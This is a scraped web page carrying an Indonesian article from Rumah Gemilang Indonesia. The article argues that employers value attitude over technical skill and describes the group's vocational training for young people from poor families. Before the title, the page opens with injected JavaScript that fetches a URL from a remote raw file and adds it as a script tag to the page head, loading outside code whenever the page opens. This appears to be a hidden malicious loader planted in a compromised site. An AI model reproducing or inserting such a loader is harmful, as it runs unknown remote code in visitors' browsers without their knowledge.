;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Attitude, Nomor Satu – Rumah Gemilang Indonesia

Attitude, Nomor Satu

Attitude, Nomor Satu

Sebuah percakapan antara seorang manajer perusahaan dan staff Rumah Gemilang Indonesia (RGI) :

Manajer          : “Pak, perusahaan kami sedang membutuhkan karyawan desain grafis dan maintenance website perusahaan… RGI bisa membantu?”

Staff RGI        : “Apa yang bisa kami bantu, Pak?”

Manajer          : “Mencarikan alumni RGI untuk mengisi job designer dan maintenance website”.

Staff RGI        : “Apa kualifikasi khusus yang Bapak minta? Insya Allah kami bantu”

Manajer          : “Disiplin, amanah, semangat belajar dan pekerja keras, rajin sholatnya”.

Sepintas, pembicaraan diatas nampak biasa saja. Namun, jika dicermati ada nilai yang tidak biasa. Topik dialog itulah yang sering ditemui di RGI, baik dialog via telfon, media sosial ataupun dialog face to face. Request tenaga terampil yang memiliki nilai plus, yaitu sikap-sikap positif yang melekat baik untuk dipekerjakan.

“Skill keterampilan tertentu bisa dipelajari dan diasah dengan waktu yang relatif singkat, asal tekun dan fokus. Tapi, orang yang amanah, disiplin, memiliki semangat belajar dan berkarya, bisa menghargai orang lain, susah dicari saat ini”, terang Manajer saat ditanya mengapa kualifikasi tersebut yang dicari.

Nilai-nilai non teknis sangat penting dan menjadi prioritas bahkan nomor satu. Namun sumber daya manusia yang terampil dengan penguasaan keahlian keterampilan tertentu juga tidak kalah pentingnya. Perpaduan nilai-nilai itulah yang akan menjadikan pribadi unggul, pribadi mandiri, dan menghadirkan manfaat dimanapun ia berada.

Al Azhar Peduli Ummat menyadari betul pentingnya menyiapkan generasi-generasi bangsa yang terampil memiliki keahlian, berpengetahuan luas dan memiliki akhlaqul karimah. Karenanya, pusdiklat bagi generasi usia produktif dari keluarga kurang mampu dengan pola shortcourse mengadopsi sistem pesantren terus dikembangkan melalui program RGI.

Bukan pekerjaan kecil memang. Namun, visi besar harus dimulai dengan tindakan nyata meskipun masih skala kecil. Berawal dari gerakan kecil yang terencana dan visioner, terarah dan terukur, yakinlah akan menjadi snowballing berwujud kekuatan besar membentuk bangsa yang berkarakter dan berjiwa besar. Butuh kreatifitas, konsistensi, pengorbanan, perhatian dan keberpihakan penuh kepada  mereka yang terpinggirkan.  Ikhtiar terus dimaksimalkan, doa dan dukungan terus digalang, Allah akan mudahkan dan sempurnakan. Semoga menjadi inspirasi. (an_rgi)

No Comments

Add your comment